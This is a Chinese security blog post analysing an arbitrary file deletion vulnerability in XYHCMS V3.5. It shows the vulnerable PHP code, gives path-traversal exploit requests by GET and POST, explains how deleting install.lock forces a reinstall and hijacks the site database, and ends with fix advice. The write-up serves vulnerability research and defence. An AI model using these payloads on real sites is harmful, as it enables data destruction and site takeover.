【代码审计】XYHCMS V3.5任意文件删除漏洞分析
0x00 环境准备
XYHCMS官网:http://www.xyhcms.com/
网站源码版本:XYHCMS V3.5(2017-12-04 更新)
程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/App/Manage/Controller/DatabaseController.class.php 第293--233行:
- public function delSqlFiles() {
- $id = I('id', 0, 'intval');
- $batchFlag = I('get.batchFlag', 0, 'intval');
- //批量删除
- if ($batchFlag) {
- $files = I('key', array());
- } else {
- $files[] = I('sqlfilename', '');
- }
- 10. if (empty($files)) {
- 11. $this->error('请选择要删除的sql文件');
- 12. }
- 13. foreach ($files as $file) {
- 14. unlink($this->getDbPath() . '/' . $file);
- 15. }
- 16. $this->success("已删除:" . implode(",", $files), U('Database/restore'));
- 17. }
这段函数中对提交的参数进行简单的判断,然后将接受的参数拼接到路径中,带入到unlink函数中进行删除,导致程序在实现上存在任意文件删除漏洞,攻击者可通过该漏洞删除任意文件,如删除install.lock进行CMS重装,劫持网站
数据库。
0x02 漏洞利用
1、在网站根目录新建1.txt作为漏洞测试文件

2、进行漏洞利用
漏洞利用方式一:
通过GET方式提交参数,删除根目录下的1.txt文件
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\1.txt/tm/1
漏洞利用方式二:
通过POST提交参数,删除根目录下的1.txt文件
http://127.0.0.1/xyhai.php?s=/Database/delSqlFiles/batchFlag/1
POST:key%5B%5D=../../../1.txt

3、如何进一步利用呢?
删除\Install\install.lock,进行CMS重装,劫持网站数据库。删除install.lock文件,访问http://127.0.0.1/install/,成功进入系统重装界面。

0x03 修复建议
1、过滤..,用来防止目录跳转
2、对要删除的文件名进行严格限制
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】XYHCMS V3.5任意文件删除漏洞分析的更多相关文章
- 【代码审计】YzmCMS_PHP_v3.6 任意文件删除漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】TuziCMS_v3.0_任意文件删除漏洞分析
0x00 环境准备 TuziCMS官网:http://www.tuzicms.com/ 网站源码版本:TuziCMS_v3.0_20161220 程序源码下载:http://www.tuzicms ...
- 【代码审计】XIAOCMS_存在任意文件删除漏洞分析
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
- 【代码审计】XYHCMS V3.5任意文件读取漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件删除漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- dzzoffice 任意文件删除漏洞分析
dzzofiice 任意文件删除漏洞 \upload\dzz\system\dzzcp.php第199行 elseif($do=='deleteIco'){ $arr=array(); $ ...
随机推荐
- Java 对象的序列化和反序列化
先创建一个实现了Serializable接口的对象 import java.io.Serializable; /** * 可序列化Person对象. * @author Ramer * Sep 18, ...
- centos 终端界面代理设置
一.centos自带界面设置代理 1. 界面设置 squid默认代理端口3128. 2. firefox设置 设置 -> 局域网设置 -> ip:port / username:passw ...
- Scala:Next Steps in Scala
Array val greetStrings = new Array[String](3) greetStrings(0) = "Hello" greetStrings(1) = ...
- [Unit Testing] Using Mockito Annotations - @Mock, @InjectMocks, @RunWith
Previously we have seen how to do Unit testing with Mockito; import org.junit.Test; import static or ...
- 关于tomcat session机制梳理
一道题目引起的思考:"tomcat里怎样禁止服务端自己主动创建session". 1背景知识: 要说tomcat的机制.先从session说起. http是无状态协议(http详 ...
- [转]BLAS简介
BLAS(Basic Linear Algebra Subprograms)是一组线性代数计算中通用的基本运算操作函数集合[1] .BLAS Technical (BLAST) Forum负责规范BL ...
- Android--保持加速度传感器在屏幕关闭后运行(收集)
由于写论文需要,需要用手机加速度采集数据,关于android加速度传感器的介绍网上一抓一大把,但大多都是大同小异,跟官网文档差不多.自己写了个取加速度传感器的APK,发现数据有点不对劲,原理屏幕一关后 ...
- 【C语言】字节对齐问题(以32位系统为例)
1. 什么是对齐? 现代计算机中内存空间都是按照字节(byte)划分的,从理论上讲似乎对任何类型的变量的访问可以从任何地址开始,但实际情况是在访问特定变量的时候经常在特定的内存地址访问,这就需要各类型 ...
- Xilinx 常用模块汇总(verilog)【02】
作者:桂. 时间:2018-05-08 18:35:56 链接:http://www.cnblogs.com/xingshansi/p/9010282.html [本文遗留几处细节问题,待闲下来解决 ...
- react.js map遍历的问题
React遍历多个Ant Design中的Upload组件时,随意删除任一个Upload出现了bug,依次点击上传图片后,当点击删除时,倒着删除没有问题,从中间和从开头删问题出现了,出现了类似塌方的效 ...